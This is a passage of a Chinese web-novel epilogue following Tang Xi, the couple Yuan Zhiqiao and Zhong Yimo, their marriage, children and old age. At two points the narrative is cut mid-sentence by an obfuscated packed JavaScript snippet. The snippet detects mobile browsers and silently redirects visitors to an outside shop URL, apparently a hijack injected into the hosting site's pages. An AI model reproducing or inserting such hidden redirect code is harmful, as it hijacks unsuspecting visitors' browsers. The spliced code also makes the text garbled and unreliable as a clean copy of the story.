唐曦正全神贯注地研究病历本上的字,可她越看,就越觉得这些不是字,而是医生随手涂鸦的符号。 “怎么样?医生怎么说?”老师放下包,把刚买的书籍和报纸放一边,然后走到唐曦身旁,目光关切。 “医生说我很健康,心脏没问题。”唐曦把病例递给老师,老师眯眼看着蓝色的字迹,也同样满脸疑惑。 “既然医生说没问题,那就是好事,”老师把病历本放下,提起了水果袋子,“修正来做客了,小曦你招待客人,我去洗几个水果。” 唐曦点了点头,有些不好意思地招呼张修正坐下,而张修正坐到唐曦身边,笑眼看向唐曦,开始简单地话家常。 一些莫名的情愫萦绕在二人之间,如蜿蜒的藤蔓。 一开始,它总脆弱无害,仿佛伸手一扯便能轻轻拉断,但当你不再在意后,它便抓紧时间,肆意生长。一根变作两根,一藤又攀一藤,继而由它变作它们,最终变得密密麻麻,让人再也无法理清其中叶脉根须。 如今的唐曦,正是藤蔓萌芽的阶段,而张修正,他也刚确定自己对唐曦的好感。 唐曦看着张修正笑意盈盈的脸,心中有些不知所措,她迫切地想要做点什么,好转移自己当下的羞涩。 “那个,张大哥,我给你倒杯茶吧?”唐曦羞赧地起身,却手忙脚乱地碰掉了老师放在一旁的书籍和报纸,她急忙弯腰去捡,而张修正见状,当即俯身帮忙。 二人的手不小心碰到一起,彼此指尖相触。张修正内心雀跃欢喜,唐曦害羞般缩回了手指,正当张修正要说什么的时候,唐曦却一眼看到了报上的头版头条。 张修正:“小曦……” 唐曦:“《元之荞:成为‘乌麦’的传奇半生》” 唐曦完全忽略了张修正,喃喃将标题念了出来。她一把拿过报纸,重新坐回沙发,认真阅读了起来。 报纸刊登了元之荞能说的事迹,澄清了人们对乌麦过去的误解以及一些不实报道,并赞扬了元之荞的研究成果以及她对革命的付出,最后附上一张元之荞的近期照片。 黑白印照上,元之荞模样清雅,笑容谦和,只需一眼,便能看出她的清冷与坚毅。 “小曦?”老师把洗好的苹果与香梨端上茶几,示意张修正不要客气,拿着先吃,“在看什么呢,这么入迷?修正刚才叫你好几声你都没听见。” 唐曦放下报纸,面上激动得涨红,她捏紧报纸边缘,心中不断重复刚看到的东西。 北城,她的偶像在北城。 幸运的是,她现在就有机会去北城念大学。 老师看向唐曦,一并看到了她手上的报纸,老师会心一笑:“我就知道你会高兴,所以在报刊亭看到的时候我就买下了这份报纸,怎么样,现在能决定了吗?” “老师,谢谢你,”唐曦仍沉浸在激动的情绪中,她起身,前去握住了老师的手,“我决定了,我要去!” 老师宽慰地笑了,像是支持唐曦的决定,而张修正满头雾水,不知道她俩在说什么。张修正低头,扫向唐曦看过的版面,元之荞的照片恰好闯入了他的眼帘。 有些熟悉,但张修正却不知道哪里熟悉,只觉这照片上的人勾起了他脑海深处什么不好的记忆,一下让他兴致全无。张修正只想赶快离开这个地方,赶快远离这张报纸。 张修正:“小曦、赵老师,我还有些事,先回去了。” “哦好,不过修正有空带茉莉上我家吃饭啊,人多热闹,饭也香些。” * 四年后的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13671571|126512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 北城。 元之荞与部下在聊医疗义肢材料的进口与研发,如今,李然的妹妹李欣已经用上了义肢,正在练习和适应使用义足走路。另一边,李成膝骨的手术也在准备中,若是顺利,李成也摆脱轮椅,恢复到先前健全的状态中。 事情的确如元之荞料想的那般,正逐渐向着更好的方向发展。 咚咚。 敲门声响起,元之荞停下话头,看向虚掩的办公室大门。 门被人轻轻推开,露出一张活泼俏丽的脸:“您好,我是来报道的助手唐曦。” 唐曦一眼便看到了元之荞,双瞳也瞬间亮了起来,她遥望向元之荞,声音有些激动,“元部长,我、我叫唐曦,”唐曦一下紧张了起来,甚至忘了自己才自我介绍过一遍,她快步上前,忐忑地将资料放上元之荞的桌面,“我敬佩元部长很久了,一直想到您手下工作,没想到这么幸运,我真的被调了过来,”她忍不住笑,“这简直和做梦一样。” 元之荞简单翻阅了一下资料,与人事部那边拿来的并无二致。元之荞早就知道唐曦想成为她属下这事,毕竟唐曦迷妹的属性一点没遮掩,又在大学时与“乌麦黑”辩论了一场,元之荞想不知道都难。 对于唐曦的改变,元之荞一开始十分吃惊,以为是剧情又在搞鬼,但在三年前,萤光突然过来告诉元之荞,剧情被它彻底吸收了,黒焰也由此彻底消失,元之荞这才相信唐曦的一切行为,皆是源于她自己,都是发自她本心,元之荞也不再警惕唐曦。 “是我把你调过来的,不然你应该会去统计局,”元之荞把资料放下,从书桌下提起一大沓文件,“虽然今天是你第一天上班,但任务可不小,能接受吗?” 唐曦兴奋地抱起成堆的文件夹,眼睛笑成月牙,声音洪亮地回答道:“能,部长放心吧,我工作可认真了,等我上手熟练了,一定能干得又快又好。” 赚到了。 竟然是偶像亲自选的我。 唐曦啊唐曦,我这辈子都要完满了,我一定要死守这份工作,也要成为偶像那样的人。 与此同时的另一边,白茉莉生下一个女儿,张修正耐心地给女儿换尿布,看着女儿咯咯的笑颜,他突然觉得,转业后进文职,然后下班守着妻子女儿,这样平淡的生活也不错。 “老公,帮我打点水,我想洗头。”白茉莉用指甲挠了挠头,仍缓解不了头皮上的痒意。 “忍一下吧,妈说坐月子不能洗头,不然身体不好,而且还有四天就出月子了,”张修正照顾好女儿,转身去厨房烧热水,“实在难受的话,我给你打水,你用布擦擦。” “好吧。”白茉莉面上不高兴,心里却一点点高兴了起来。 生了孩子的生活,好像也不错。 157. 番外六 回国后,元之荞将钟以墨介绍给家人,并向父母表明自己正在和钟以墨相处,两人关系还不错。 梁桦听了很高兴,都说丈母娘看女婿越看越欢喜,事实也的确如此,虽然钟以墨还不是女婿,但因着小时候的情分,梁桦已经把钟以墨当作了自己人,不仅接受了他,还热情地邀请他常来家中吃饭。 元知宁对钟以墨没什么感觉,不过觉得这个二姐夫长得过于好看了,忍不住偷瞅几眼,好研究研究。 一家人里,只有元善听到这个消息后食不下咽。 元善本来挺喜欢钟以墨,毕竟他是钟大善人的儿子,钟大善人还救过之荞。 钟以墨可以是他老乡、是之荞的朋友,甚至是他的忘年交,这些元善均乐见其成,但钟以墨若成为之荞的男友,成为之荞以后的丈夫,元善就有些不太满意了。 毕竟钟以墨自小失怙,现下又被母族排斥,亲缘方面实在太差。 财力方面,钟家的房屋、资金早已不剩多少,给不了之荞多好的生活。 能力方面,作为医生的钟以墨伤了手,无法主刀进行手术,他只能转职,或者留在医馆做文职、底层管理等工作,实在是没有什么大前途。 所以在元善眼里,钟以墨除了品性和样貌,完全没有优势,同时,元善又认为这个世上最完美的男人来了,也配不上他的女儿。但钟以墨是女儿选的,元善有不满,也能把气闷进肚子里。 钟以墨敏锐地察觉到了丈人的情绪,他不想因为家人的态度影响到他与之荞的感情,于是钟以墨饭后私下找了元善。 这俩老爷们谈了什么元之荞并不知道,只知道他们聊了很久,并且在这之后,元善虽然不再嫌弃钟以墨,但对他依旧还是有些客气。 每当元之荞好奇,询问钟以墨那天发生了什么,钟以墨就只是抱着她,低声说自己会努力。 元之荞听了便笑:“努力什么?” 钟以墨也跟着笑:“努力成为你家的正式成员。” 然而钟以墨这一努力,就努力了五年,努力到元善都有些可怜起钟以墨来,态度对他愈发地好了。毕竟无论在过去,还是在这愈发进步的时代,谈恋爱都没有谈这么久的。 终于在元之荞24岁时,她有了结婚的想法。也在钟以墨每年都会进行一次的求婚上,她同意了。 元之荞:“好啊。” 钟以墨还没反应过来,照例说着以往那些宽慰自己的话:“那等我明年的时候再问一次……”他慢一拍的心跳突然加快,接着不可置信地看向元之荞,“我、我刚才……你刚才说的……” 元之荞笑着点头:“嗯,你没听错,我愿意。” 像是有股冲击撞了上来,钟以墨一下没了反应,也不知道怎么表述自己现在语无伦次的心绪,最终,他看向她,语气小心翼翼,带着期待,也带着被拒绝的忐忑:“之荞,你想好了吗?如果是因周围人的压力选择与我结婚,你会不快乐。” “我不希望你不快乐。” “想好了,”元之荞坦荡的眼神安慰了钟以墨,她看着他,脸上不自觉盈起笑意,“其实很早便想好了,不过是因为我的私心,所以才想多独自生活几年。” 钟以墨终于笑了出来,他热烈地抱住元之荞,然后在她额上轻轻落下一吻:“回家我们就告诉爸妈,让他们帮我们挑个最近的好日子。” “嗯,”元之荞环抱钟以墨的腰,“还有拍结婚照那天,我们要穿好看点。” * 关于婚后争吵。 第一代手持移动电话上市,元之荞和钟以墨都买了,本来她对钟以墨的备注是“老公”,但两人吵架后,元之荞立刻就将钟以墨改为了“别接”。 上班时的元之荞看起来比平时严肃了一些,表情也更冷了。 午饭时分,唐曦热情地邀请元之荞一起去食堂,这时,元之荞的手机响了。 元之荞看了一眼,来电显示“别接”,一旁的唐曦偷瞄一瞬,看向元之荞,只见元之荞盯着手机顿了一会,摁灭了。 她把手机放回口袋:“走吧,想去哪个饭堂吃?” 唐曦高兴地刚要说出二饭,电话铃声又响了起来,元之荞再次把手机拿出,只见仍是那位“别接”。 唐曦知趣,说了一句突然想起工作要收尾,然后快速离开了办公室。 元之荞看着唐曦离去的背影,又看向一直在响的手机,还是选择了接通:“喂?” 钟以墨语气淡淡,显然也留有怒气:“吃饭了吗?” “吃了,单位饭堂,”元之荞听见钟以墨的声音,又想起今早他说的话,情绪逐渐上来,“有什么事吗?没什么事挂了。” 对面没有说话,元之荞等了一会,果断挂掉了电话,独自走向食堂。 中午吃的是土豆炖牛腩,元之荞还加了几个清淡的菜,正当她埋头喝汤时,余光视野霎时一暗。元之荞抬头,看见不知从哪来的钟以墨坐到了她对面。 元之荞向来有话直说,她放下碗:“我现在不想见你。” 钟以墨臭着张脸:“我也不想见你,”他把自己的餐盘摆了一下,空出位置给元之荞,“既然我们谁也不想见谁,那就扯平了,一起吃饭吧。” 元之荞看着钟以墨,有些无话可说,尤其是看到钟以墨拿的是他自己单位的餐盒时,更加无奈了,真不知道这人是怎么端着一盘菜,从隔壁单位食堂走到她们单位食堂的。 钟以墨:“不想见你是假的,”过了一会,他才继续开口,“因为今早你说的那些话让我生气了,所以我才说了更伤人的话,说了不想见你。” “当时是不想见你,但现在看到你,心里却很开心,”钟以墨给元之荞剥了一个蛋,“我为我早上的鲁莽生气抱歉,对不起。” 元之荞看着钟以墨,接受了他的道歉:“部分是我的原因,最近我的情绪总是大幅度波动,尤其是看到你们外交部新来了几个姑娘,那几个姑娘对你总是很热情,而你也总是笑眯眯地对着她们,一副来者不拒的模样。” 钟以墨瞪大双眼,清褐色的眸中写满了冤枉,他匆匆把饭菜吞下:“我不是,我没有。” “之荞,不然我把头发剃短了,丑点,别人就不会对我有什么意思了,刚好华总理说男性形象可以清爽一点。” 元之荞想了想那个画面,忽然笑了,摇摇头道:“不用了,因为感觉自己情绪奇怪,所以昨天去医院检查了一下。” “怎么样,医生怎么说?”钟以墨立刻紧张了起来。 元之荞:“医生说我怀孕了。” * 关于孩子。 元之荞诞下两个孩子,同样是一对龙凤胎。 元之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13687537|126512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 荞比较忙,所以很大部分一段时间,他们都是钟以墨和元善、梁桦带着长大。就算这样,两个孩子也很亲近元之荞,只是有时候不那么乖巧,像是他们舅舅元知宁那般调皮。 元之荞看着两个孩子越长越卷的头发,总是有些担心:“以墨,你小时候也没这么卷啊,为什么他俩就卷成泡面一样,难不成这俩不是我们的孩子?” 钟以墨十分无奈地望了眼元之荞:“我小时候也像颗蒲公英一样,放心吧,长大了就好了。” * 关于银婚。 钟以墨在家穿戴好了,准备待会去电视台,接受那边对他们夫妻的采访。 时代飞速发展,现下正是触屏智能手机刚崛起的阶段,女儿给他和之荞各买了一只智能手机,元之荞对此飞速上手,完全不用教,但年半百的钟以墨就有些迟钝,得学好一会才能使用,还得平日多加练习。 钟以墨坐在沙发上,点开通讯软件,听着之荞对他出门前的叮嘱。 这时儿子回来接他,看着老父亲一遍遍地听着语音短信,还大声外放,儿子微微皱起了眉:“爸,你最近是耳朵不好吗?要不要我带你去医院检查一下耳背。” 钟以墨听了,顿时放下手机,面上有些不高兴。真是外甥肖舅舅,自己这个儿子竟然和小弟元知宁一模一样,净爱说些不好听的:“什么耳背,你爸我耳朵好的很,你偷偷摸摸的嘀咕,我在这里全都听见了。” 儿子抓了抓与钟以墨同款的卷发:“既然听见了,那爸你还一遍遍听啥呢?妈就说了那一句,我在这都能背下来了,你还在听。” 钟以墨静默地看向儿子,用着与元之荞一样冷淡的神态,最后鼻腔长呼出一气,缓缓道:“要说你怎么找不到女朋友呢?二十四了,还光棍一个。你爸我这是想多听几遍你妈的声音,这叫相思,这叫爱慕,懂吗?” 儿子抱住自己打了一个寒颤:“爸你都一大把年纪了,还搞浪漫和情趣,真是受不了,”他把钟以墨的皮鞋从鞋柜里提出,“爸,你还是快走吧,爱情真是肉麻,我现在还不想懂。” * 关于晚年。 元之荞退休了,她的孩子们如今也有了自己的归宿,有了自己的小家,日常便成为了她和钟以墨的相处。 这天俩人出门买菜回来,钟以墨架着眼镜洗菜,夸口说他今天做饭,让元之荞歇歇。 结婚几十年,虽然下厨的次数是钟以墨多,但实际上却是元之荞的厨艺比较好。元之荞笑着答应,但俩人都知道,待会,她还是会去插空帮忙。 元之荞回了书房,准备找本书看,却无意间发现了夹在书架中的日记本。 她以为是自己孩子的,没想到翻开后,却是钟以墨的字迹。 钟以墨、元之荞。 她一直以为他取的名字结构上像自己,不过是一次巧合,直到这会,她才终于知道,他之所以叫“钟以墨”,正因为她是“元之荞”。 [钟以墨:我的生命里,好像出现了两个太阳] 元之荞合上书页,嘴角笑容温暖,我的生命里,何尝又不是出现了两个太阳。 “之荞,黄瓜炖烂些可以吗?”钟以墨的声音从厨房远远传来。 “好啊,还有肉酿茄子,”元之荞放下书,提步走向厨房,“年纪大了咬不动,我们也煮得软烂一些。”